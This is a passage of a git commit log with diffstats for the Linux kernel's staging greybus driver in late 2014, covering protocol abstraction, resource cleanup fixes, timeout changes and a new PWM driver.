same name for variables at different levels. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 1dd90df403692f718564638543e73b6d1f734f70 Author: Viresh Kumar Date: Fri Nov 14 17:25:03 2014 +0530 greybus: manifest: make sure manifest_descs list is empty before parsing manifest Just an extra check to make sure the list isn't corrupted. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 4 ++++ 1 file changed, 4 insertions(+) commit 38d61ddf95734c3fe69c31b867cc26932db63235 Author: Viresh Kumar Date: Fri Nov 14 17:25:02 2014 +0530 greybus: connection: try cancelling operations only if list isn't empty Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) commit f66832dae0ad61732d07c40a3c81adbc935fa1b3 Author: Viresh Kumar Date: Fri Nov 14 17:25:01 2014 +0530 greybus: nullify dangling pointers Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 1 + drivers/staging/greybus/debugfs.c | 1 + drivers/staging/greybus/gbuf.c | 1 + 3 files changed, 3 insertions(+) commit 837b3b7c04c1df9dbf5e8dc4b15aaa28e7b6439b Author: Viresh Kumar Date: Fri Nov 14 17:25:00 2014 +0530 greybus: operation: free resources in the reverse order of allocation Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 95bd99def54d972b2d528a91acb0152da0cdaeec Author: Viresh Kumar Date: Fri Nov 14 17:24:59 2014 +0530 greybus: core: use 'drv' instead of dev->driver Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3dc05f187185cb5795054b1a7f490fe695c779fe Author: Viresh Kumar Date: Fri Nov 14 17:24:58 2014 +0530 greybus: core: remove unnecessary braces Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 219871e25270bcb8082a98264c48b78725a74335 Author: Viresh Kumar Date: Fri Nov 14 09:47:39 2014 +0530 greybus: manifest: improve print message Suggested-by: Alex Elder Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 85f3aeeda6047a42cd16782692864da697e53c85 Author: Viresh Kumar Date: Thu Nov 13 18:14:40 2014 +0530 greybus: manifest: remove extra loop for finding module descriptor Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 29 +++++++++++++++-------------- 1 file changed, 15 insertions(+), 14 deletions(-) commit a68bd742c068924950d17e2c5122fb9e710360ed Author: Viresh Kumar Date: Thu Nov 13 18:14:39 2014 +0530 greybus: connection: free resources properly on failures Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 1 + 1 file changed, 1 insertion(+) commit b97c46ecaf27c815469f5f7e6a325f0cb53869fe Author: Viresh Kumar Date: Thu Nov 13 18:14:38 2014 +0530 greybus: interface: free resources properly on failures Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 1 + 1 file changed, 1 insertion(+) commit 0a68a16b914472aa3c9dbac81df501b9c8dffb86 Author: Viresh Kumar Date: Thu Nov 13 18:14:37 2014 +0530 greybus: module: free resources properly on failures Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/module.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit 132d03ea8989949ed40d52ea6bd4c5aaa083381b Author: Viresh Kumar Date: Thu Nov 13 18:14:36 2014 +0530 greybus: sysfs: generalize gb_module_attr() to capture more cases Most of the attribute routines are created with gb_module_attr() and few are left out because they weren't printing 32 bit hexadecimal values. Extend gb_module_attr() to cover more cases. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sysfs.c | 45 +++++++++-------------------------------- 1 file changed, 9 insertions(+), 36 deletions(-) commit 37d8afc42b30e8883a30eb2dadb1ff4f94caa33b Author: Viresh Kumar Date: Thu Nov 13 18:14:35 2014 +0530 greybus: debug: mark debug messages with pr_debug() instead of printk Also fix indentation. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio-gb.c | 42 +++++++++++++++++++++---------------- drivers/staging/greybus/operation.c | 2 +- 2 files changed, 25 insertions(+), 19 deletions(-) commit 669f5faf84998227b2604d310a7f33ac90189b8c Author: Viresh Kumar Date: Thu Nov 13 18:14:34 2014 +0530 greybus: don't set ->dev.driver to NULL when it is already NULL Parent objects of 'dev' are allocated with kzalloc() and so all of their fields are initialized with 0. Hence no need of marking them NULL again. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 1 - drivers/staging/greybus/interface.c | 1 - drivers/staging/greybus/module.c | 1 - 3 files changed, 3 deletions(-) commit 35a52cafbc214844f5940fe756bc2af01d987626 Author: Viresh Kumar Date: Thu Nov 13 18:14:33 2014 +0530 greybus: Fix missing gb_protocol_exit() on gb_exit() Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 1 + 1 file changed, 1 insertion(+) commit 50fc08f8c023d1e698207342e003f1b6d4bca1f5 Author: Viresh Kumar Date: Thu Nov 13 18:14:32 2014 +0530 greybus: manifest: don't free unallocated resources Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 4ed16a81c179d8e72bd127067e344959d1d6b1be Author: Viresh Kumar Date: Thu Nov 13 18:14:31 2014 +0530 greybus: manifest: initialize variable during definition Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 43d9431f6bc9dd7cf0f3b9e8a3cd94bb61745da8 Author: Viresh Kumar Date: Thu Nov 13 18:14:30 2014 +0530 greybus: manifest: no need to initialize 'result' Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e2f345ab40762ffa4456ad08956c2a74bc3a0649 Author: Viresh Kumar Date: Thu Nov 13 18:14:29 2014 +0530 greybus: gitignore: few more additions Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/.gitignore | 2 ++ 1 file changed, 2 insertions(+) commit 437caa8a0c2570b4d33c873b14f348ce39b657da Author: Matt Porter Date: Wed Nov 12 15:59:32 2014 -0500 greybus: remove unused gb_connection_handler externs Remove some leftover cruft from recent refactoring of connection handlers. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 6 ------ 1 file changed, 6 deletions(-) commit c3cf278533c6e5f3df385afce8eb11889e58cfe3 Author: Alex Elder Date: Wed Nov 12 15:17:55 2014 -0600 greybus: pass operation type on request receive When an incoming request is received, the operation type is encoded in the header and is not available in the payload. Add the operation type as a parameter to the request_recv method so the request handler knows what to do. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 5 +++-- drivers/staging/greybus/protocol.h | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) commit 360a8779d96c7c592ee79d035afe9bdf05695204 Author: Alex Elder Date: Wed Nov 12 15:17:54 2014 -0600 greybus: op_cycle doesn't need to be atomic We can update a connection's operation id counter under spinlock, and thereby avoid the need to maintain it in an atomic variable. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 6 ------ drivers/staging/greybus/connection.h | 4 +--- drivers/staging/greybus/operation.c | 15 ++++++++------- 3 files changed, 9 insertions(+), 16 deletions(-) commit b8616da875ea2f36bdeaff49f1373ea1e37406f4 Author: Alex Elder Date: Wed Nov 12 15:17:53 2014 -0600 greybus: simplify pending operations tracking Greg raised the alarm when I first put in the red-black tree for tracking pending operations. The reality as that we're not likely to have that many operations in flight at any one time, so the complexity of the red-black tree is most likely unwarranted. I already This pulls out the red-black tree and uses a simple list instead. A connection maintains two lists of operations. An operation starts on its connection's operations list. It is moved to the pending list when its request message is sent. And it is moved back to the operations list when the response message arrives. It is removed from whatever list it's in when the operation is destroyed. We reuse the single operation->links field for both lists. Only outgoing requests are ever "pending." Incoming requests are transient--we receive them, process them, send the response, and then we're done. Change a few function names so it's clear we're working with the pending list. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 +- drivers/staging/greybus/connection.h | 2 +- drivers/staging/greybus/operation.c | 52 ++++++++++-------------------------- drivers/staging/greybus/operation.h | 3 +-- 4 files changed, 17 insertions(+), 42 deletions(-) commit 8350e7a01110cbee813256a8ebcda99bf11b8ec3 Author: Alex Elder Date: Wed Nov 12 15:17:52 2014 -0600 greybus: move timeout out of gb_operation_insert() Currently, gb_operation_insert() arranges to time out a request if it takes too long. Move this out of that function and into gb_operation_request_send(), so we know it's getting set up after the request has actually be sent. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 10520528fee29f29ec3d4d3f651294247b07c0a9 Author: Alex Elder Date: Wed Nov 12 15:17:51 2014 -0600 greybus: fix request timeout bug This commit changed the timeout behavior for operations: 6a8732e operation: make the timeout a per-operation thing... It unfortunately left in place some code that was only appropriate for per-connection timeouts. In particular, the timer for an operation is currently getting started only if no existing operations are in flight. Fix that oversight, and schedule an operation's timer unconditionally. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 29 ++++++----------------------- 1 file changed, 6 insertions(+), 23 deletions(-) commit 3e9cb4a11831e8c0bf91cd880845b6b35051a484 Author: Alex Elder Date: Wed Nov 12 15:17:50 2014 -0600 greybus: don't assume PAGE_SIZE for URB size The buffers allocated for CPort URBS are ES1_GBUF_MSG_SIZE bytes. But usb_fill_bulk_urb() passes PAGE_SIZE as its size. They happen to be the same, but the code is wrong, so fix it. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 34c6507ca8e675ca0afa11ca0076d108027b0b2f Author: Matt Porter Date: Thu Nov 13 09:14:13 2014 -0500 greybus: add pwm protocol driver Add a PWM driver that implements the Greybus PWM protocol. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/greybus_manifest.h | 1 + drivers/staging/greybus/protocol.c | 4 + drivers/staging/greybus/protocol.h | 3 + drivers/staging/greybus/pwm-gb.c | 531 +++++++++++++++++++++++++++++ 5 files changed, 540 insertions(+) commit 5d2207e7047ebd110307f5f60c440f7119f999b8 Author: Alex Elder Date: Thu Nov 6 07:01:06 2014 -0600 greybus: kill gbuf->complete The gbuf complete method is a callback that allows the creator of a gbuf to know when all processing on a gbuf is done. We now only ever allocate gbufs for use in Greybus operations, and in that case we only ever supply gb_operation_gbuf_complete() as the completion callback. Furthermore, the only place gbuf->complete() is called is in gb_operation_recv_work(). Knowing this, we can just call gb_operation_gbuf_complete() directly from gb_operation_recv_work(), and get rid of the gbuf->complete() method entirely. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gbuf.c | 2 -- drivers/staging/greybus/greybus.h | 10 ++-------- drivers/staging/greybus/operation.c | 5 ++--- 3 files changed, 4 insertions(+), 13 deletions(-) commit 3a0e3c3efde8655958dc10673f374a8cc983cca2 Author: Alex Elder Date: Thu Nov 6 07:01:05 2014 -0600 greybus: move gb_operation_gbuf_complete() Simple move of a block of code, done as a separate commit to make it easier to see that's all that's going on. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 86 ++++++++++++++++++------------------- 1 file changed, 43 insertions(+), 43 deletions(-) commit eecf6deb578a250fc3336286a0759281569966ec Author: Alex Elder Date: Thu Nov 6 07:01:04 2014 -0600 greybus: get rid of greybus_gbuf_finished() All greybus_gbuf_finished() does is call the gbuf's complete method. Currently, greybus_gbuf_finished() is only ever called in one place, and that place can call the complete method directly instead. That allows us to eliminate greybus_gbuf_finished(). Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gbuf.c | 7 ------- drivers/staging/greybus/greybus.h | 1 - drivers/staging/greybus/operation.c | 6 ++++-- 3 files changed, 4 insertions(+), 10 deletions(-) commit a77b06809b9214e23e603248d7609d6efa55f833 Author: Alex Elder Date: Thu Nov 6 07:01:03 2014 -0600 greybus: remove gbuf->context A gbuf now records a pointer to its operation. The only thing ever stored in a gbuf context pointer is the gbuf's operation. Therefore there's no longer any need to maintain the context pointer, so get rid of it. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gbuf.c | 5 +---- drivers/staging/greybus/greybus.h | 3 +-- drivers/staging/greybus/operation.c | 4 ++-- 3 files changed, 4 insertions(+), 8 deletions(-) commit ef45fa33a4c9b37440ef2e3af55843066c6149ce Author: Alex Elder Date: Thu Nov 6 07:01:02 2014 -0600 greybus: record gbuf->operation Currently a gbuf records a pointer to the connection it's associated with. We now know only use gbufs in operation messages, so we can point a gbuf at its operation instead. This still gives access to the connection where needed, but it also will provide all the context we'll ever need for a gbuf, and this allows us (in the next patch) to remove the gbuf->context field as well. So switch to recording in a gbuf the operation rather than the connection it is associated with. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 11 ++++++----- drivers/staging/greybus/gbuf.c | 14 ++++++++------ drivers/staging/greybus/greybus.h | 4 ++-- drivers/staging/greybus/operation.c | 3 +-- 4 files changed, 17 insertions(+), 15 deletions(-) commit c69a50f2ce2eaec8ee9f50081a88589d1231ef3b Author: Alex Elder Date: Thu Nov 6 07:01:01 2014 -0600 greybus: get rid of gbuf->actual_length Right now, the actual_length field of a gbuf is only ever assigned, never used. We now fill gbufs only with operation messages, and they encode within them the amount of space "actually used" in a buffer in a request-specific way. As a result, there's no need for the gbuf->actual_length field, so we can remove it. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 1 - drivers/staging/greybus/operation.c | 6 ------ 2 files changed, 7 deletions(-) commit 7a0eed065ded836bbb6b71da965cef0d6a0aeecf Author: Alex Elder Date: Thu Nov 6 07:01:00 2014 -0600 greybus: kill old cport handler code Handling of incoming requests has been moved into the Greybus connection and protocol layers. As a result, the original cport oriented handler code is no longer used. So get rid of it. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gbuf.c | 31 ------------------------------- drivers/staging/greybus/greybus.h | 5 ----- 2 files changed, 36 deletions(-) commit 8d59897978aa0dfb3562f130e568e898e6952e72 Author: Alex Elder Date: Thu Nov 6 07:00:59 2014 -0600 greybus: kill test_sink.c This file is an artifact of some early testing, but it is otherwise unused. So get rid of it. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 - drivers/staging/greybus/test_sink.c | 38 ------------------------------------- 2 files changed, 39 deletions(-) commit f8fb05e2b89eddaadce319fb55a532731393e630 Author: Alex Elder Date: Wed Nov 5 16:12:55 2014 -0600 greybus: add an incoming request receive method Define a new protocol method intended to handle the receipt of an incoming operation request. Most protocols have no expected incoming requests and can leave this null. If a request arrives for a protocol with no request receive handler an error is reported and the request fails. Get rid of the previous fixed array of receive handlers, it's no longer needed. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 1 + drivers/staging/greybus/gpio-gb.c | 1 + drivers/staging/greybus/i2c-gb.c | 1 + drivers/staging/greybus/operation.c | 45 ++++++++++-------------------------- drivers/staging/greybus/protocol.h | 4 ++++ drivers/staging/greybus/sdio-gb.c | 1 + drivers/staging/greybus/uart-gb.c | 1 + 7 files changed, 21 insertions(+), 33 deletions(-) commit 5d9fd7e1ba801ff83bb657ad364581947400898c Author: Alex Elder Date: Wed Nov 5 16:12:54 2014 -0600 greybus: move methods into protocol Get rid of the connection handler structure, and instead put the methods that were there into the protocol structure. Eliminate the big switch statement in connection_init() and just call the connection's protocol's init function there directly. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 7 ++---- drivers/staging/greybus/connection.c | 43 +++++++----------------------------- drivers/staging/greybus/connection.h | 11 --------- drivers/staging/greybus/gpio-gb.c | 7 ++---- drivers/staging/greybus/i2c-gb.c | 7 ++---- drivers/staging/greybus/protocol.h | 6 +++++ drivers/staging/greybus/sdio-gb.c | 7 ++---- drivers/staging/greybus/uart-gb.c | 7 ++---- 8 files changed, 24 insertions(+), 71 deletions(-) commit 19d03decd3415a7a0ec6c378720058f29f9568cc Author: Alex Elder Date: Wed Nov 5 16:12:53 2014 -0600 greybus: register preallocated protocols Set up protocol structures as static objects in each protocol source file. Pass the address of that in--rather than the protocol id and version information--to the protocol registration routine. Call a central routine to register all our pre-defined protocols. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 16 ++++++++ drivers/staging/greybus/core.c | 14 +++++-- drivers/staging/greybus/gpio-gb.c | 16 ++++++++ drivers/staging/greybus/greybus_manifest.h | 1 + drivers/staging/greybus/i2c-gb.c | 16 ++++++++ drivers/staging/greybus/protocol.c | 64 ++++++++++++++++++++++++------ drivers/staging/greybus/protocol.h | 25 +++++++++++- drivers/staging/greybus/sdio-gb.c | 16 ++++++++ drivers/staging/greybus/uart-gb.c | 16 ++++++++ 9 files changed, 166 insertions(+), 18 deletions(-) commit dbb8894e0c3cf1661d83466faa277a8d436a1cba Author: Alex Elder Date: Wed Nov 5 16:12:52 2014 -0600 greybus: order the protocols list Add protocols to the global list in sorted order, based on their protocol id, and then their major and minor version number. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/protocol.c | 66 +++++++++++++++++++++++++++++++------- 1 file changed, 54 insertions(+), 12 deletions(-) commit 0e44765743c06664773475cd07684a70a29a6816 Author: Alex Elder Date: Wed Nov 5 16:12:51 2014 -0600 greybus: count rather than list protocol users We don't really need a list of protocol users, we can just keep track of how many there are. Get rid of the list and use a count instead. Also, have gb_protocol_get() return the protocol rather than assigning a passed-in connection pointer's protocol. Make a comparable change to the gb_protocol_put() interface. Get rid of gb_protocol_find() (the version that locks), because it is no longer needed. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 11 ++--- drivers/staging/greybus/connection.h | 1 - drivers/staging/greybus/protocol.c | 91 ++++++++++++++++-------------------- drivers/staging/greybus/protocol.h | 7 ++- 4 files changed, 47 insertions(+), 63 deletions(-) commit 6ae7fa4520c9a3e316996320ad6d6439f08bb63c Author: Alex Elder Date: Wed Nov 5 16:12:50 2014 -0600 greybus: identify protocol by id *and* version Right now we only look up a protocol based on its protocol id. Add support for maintaining a major and minor version as well, and use them when looking up a protocol. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 5 ++++- drivers/staging/greybus/protocol.c | 31 ++++++++++++++++++++----------- drivers/staging/greybus/protocol.h | 19 ++++++++++++++----- 3 files changed, 38 insertions(+), 17 deletions(-) commit 6b09938a48d4fd86596c75b19aea3286da2e4d9f Author: Alex Elder Date: Wed Nov 5 16:03:12 2014 -0600 greybus: improve some error messages Add a few error messages to help explain the reason for failures. Add a missing space in a message in svc_management(). Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 2 +- drivers/staging/greybus/connection.c | 3 +++ drivers/staging/greybus/interface.c | 2 ++ drivers/staging/greybus/module.c | 2 ++ 4 files changed, 8 insertions(+), 1 deletion(-) commit 545a697512a0b9c08ae4f152b7dd146f02dcbb92 Author: Alex Elder Date: Wed Nov 5 16:03:11 2014 -0600 greybus: control printing message There's a message that gets printed in gb_manifest_parse() if excess descriptors are found in the manifest. This should only be printed if the parse was successful. If it was not successful it's not really very helpful. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0570afcf24930e4c4078a637d93c61fa448fbd10 Author: Alex Elder Date: Wed Nov 5 16:03:10 2014 -0600 greybus: make _gb_protocol_find() static This function should have private scope. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/protocol.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 00ace9739042a867bbbaaceefb6ad88571358ea5 Author: Alex Elder Date: Wed Nov 5 16:03:09 2014 -0600 greybus: drop a redundant assignment Get rid of a duplicate assignment of an interface's device id. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/module.c | 1 - 1 file changed, 1 deletion(-) commit 96fd8c2bfdda4b6a2223f235ebdd35e4d391d075 Author: Alex Elder Date: Wed Nov 5 16:03:08 2014 -0600 greybus: fix a bug in gb_operation_gbuf_complete() The gbuf completion routine was using the request payload pointers (which point at the area *past* the message header) rather than the header. This didn't matter much for now, it was only used in the error path. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 2dcf6871dd19a8129929203776c57cddbb07bcc3 Author: John Stultz Date: Thu Oct 30 15:28:18 2014 -0700 greybus: build: Add -fno-pic for 32bit arm as well In order for 32bit arm devices using the android toolchain to load the greybus module, I need to add -fno-pic in the build arguments as well. Signed-off-by: John Stultz Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Android.mk | 1 + 1 file changed, 1 insertion(+) commit 4b640bb1357a3eed16a04b23167dc3de4294dcd9 Author: Greg Kroah-Hartman Date: Wed Oct 29 09:57:08 2014 +0800 greybus: connection: fix up error patch logic in gb_connection_create() Once you have called device_initialize() you have to call put_device() on the structure to clean it up on an error path, otherwise you will leak memory. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 4ccb6b7abb8ee4ff6fc28468ffe893caa730ea13 Author: Alex Elder Date: Tue Oct 28 19:36:00 2014 -0500 greybus: introduce protocol abstraction Define a protocol structure that will allow protocols to be registered dynamically. For now we just introduce a bookkeeping data structure. Upcoming patches will move protocol-related methods into the protocol structure, and will start registering protocol handlers dynamically. A list of connections using a given protocol is maintained so we can tell when a protocol is no longer in use. This may not be necessary (we could use a kref instead) but it may turn out to be a good way to clean things up. The interface is gb_protocol_get() and gb_protocol_put() for a connection, allowing the protocol to be looked up and the connection structure to be inserted into its list. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/connection.c | 17 +++-- drivers/staging/greybus/connection.h | 4 +- drivers/staging/greybus/greybus.h | 1 + drivers/staging/greybus/operation.c | 2 +- drivers/staging/greybus/protocol.c | 122 +++++++++++++++++++++++++++++++++++ drivers/staging/greybus/protocol.h | 26 ++++++++ 7 files changed, 167 insertions(+), 6 deletions(-) commit 7fba0079ad9a5b1b851947ad3c5b90093b2fc415 Author: Alex Elder Date: Tue Oct 28 19:35:59 2014 -0500 greybus: use protocol_id for numeric values Switch to using "protocol_id" to refer to a byte-sized numeric protocol number. A "protocol" will represent a protocol structure (created in the next patch). Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 20 ++++++++++---------- drivers/staging/greybus/connection.h | 5 +++-- drivers/staging/greybus/greybus_manifest.h | 4 ++-- drivers/staging/greybus/manifest.c | 6 +++--- drivers/staging/greybus/operation.c | 10 +++++----- 5 files changed, 23 insertions(+), 22 deletions(-) commit b29699602df46a8dffe01bedf2a601c4e2699a96 Author: Alex Elder Date: Tue Oct 28 19:35:58 2014 -0500 greybus: drop the cport id on error In gb_connection_create(), if an error occurs adding a connection's device, the cport id assigned to the AP end of the connection is not getting freed. Fix that. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 ++ 1 file changed, 2 insertions(+) commit 755a21a9bfeef4bd8145d0896a1b6f668f6d99f3 Author: Matt Porter Date: Tue Oct 28 10:08:13 2014 -0400 greybus: connection: call connection_init hook after setting the handler In gb_connection_init() we set the connection_handler for each supported protocol, but we never call the connection_init hook after doing so. This results in a failure being returned so fix it by calling the connection_init hook to get a good return and the associated driver initialized. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 ++ 1 file changed, 2 insertions(+) commit 53cbb00933a5181cf57ae799a6fc8cbecba973a4 Author: Matt Porter Date: Tue Oct 28 10:08:12 2014 -0400 greybus: module: set device_id when initializing an interface gb_module_interface_init() looks for the interface corresponding to the supplied interface_id, but fails to configure the device_id that goes with it. This results in a set route command being set with an uninitialized and bogus value. Fix it. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/module.c | 1 + 1 file changed, 1 insertion(+) commit f9ab34c2bf1ed120802ae64ae3f0c4ba6b46c6b3 Author: Greg Kroah-Hartman Date: Tue Oct 28 18:20:24 2014 +0800 greybus: es1-ap-usb: document the lack of callback for the outgoing bulk urbs We don't need a callback for bulk out urbs to do anything except put the urb back in the pool. Document why we do this and what is involved. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) commit cea54c12f7badb18f2adbf718b8451f5d14a654d Author: Greg Kroah-Hartman Date: Tue Oct 28 17:49:59 2014 +0800 greybus: Remove id_table usages We aren't using an id_table for "drivers" at this moment, as the whole driver model interaction is under heavy rework. So remove these for now to keep things easier to understand for future patches. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 5 ----- drivers/staging/greybus/core.c | 5 ----- drivers/staging/greybus/sdio-gb.c | 5 ----- drivers/staging/greybus/uart-gb.c | 5 ----- 4 files changed, 20 deletions(-) commit c7a90cb5990313b61cfe5cba859ce34d537075b6 Author: Greg Kroah-Hartman Date: Tue Oct 28 17:09:35 2014 +0800 greybus: #if 0 cleanups Remove some #if 0 chunks for the old-style greybus driver macros Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio-gb.c | 6 ------ drivers/staging/greybus/i2c-gb.c | 6 ------ 2 files changed, 12 deletions(-) commit a25f375cf7f78f58aa462a9957d39328921583b5 Merge: 708971e a2f4763 Author: Greg Kroah-Hartman Date: Tue Oct 28 10:30:18 2014 +0800 greybus: Merge branch 'master' into driver_model_rework commit a2f4763f4829c5efb9e38b9d25385d464e0e277a Author: Greg Kroah-Hartman Date: Tue Oct 28 10:17:09 2014 +0800 greybus: sdio-gb: convert to the connection interface. No one is using sdio yet, but convert to the connection interface to remove the last user of the "old" module interface. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 2 +- drivers/staging/greybus/sdio-gb.c | 31 ++++++++++++------------------- 2 files changed, 13 insertions(+), 20 deletions(-) commit 5e8e8ff6d0bf804e1f85154f21bcca699e2f8aa9 Author: Greg Kroah-Hartman Date: Tue Oct 28 09:50:56 2014 +0800 greybus: battery-gb: remove some #if 0 code We aren't going to have individual modules for the gb protocols, so just remove this useless code, it was throwing up warnings in sparse. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 27 --------------------------- 1 file changed, 27 deletions(-) commit 059b093616313683a3d6259646d21f64d2756838 Author: Greg Kroah-Hartman Date: Tue Oct 28 09:49:33 2014 +0800 greybus: uart-gb: mark some functions static Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart-gb.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 3689f9744a029ee9b7b38fb177249d2812ffa676 Author: Alex Elder Date: Mon Oct 27 06:04:30 2014 -0500 greybus: begin abstracting connection operations This is part 1 of abstracting the connection operations into a set of methods. This will avoid some big switch statements, but more importantly this will be needed for supporting multiple versions of each protocol. For now only two methods are defined. The init method is used to set up the device (or whatever the CPort represents) and the exit method tears it down. There may need to be additional operations added in the future, and once versioning is used we might stash the version number in this structure as well. The next patch adds dynamic registratration of these protocol handlers, and will do away with the switch statement now found in gb_connection_init(). Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 9 +++++++-- drivers/staging/greybus/connection.c | 36 +++++++++--------------------------- drivers/staging/greybus/connection.h | 11 +++++++++++ drivers/staging/greybus/gpio-gb.c | 9 +++++++-- drivers/staging/greybus/greybus.h | 12 ++++-------- drivers/staging/greybus/i2c-gb.c | 9 +++++++-- drivers/staging/greybus/uart-gb.c | 9 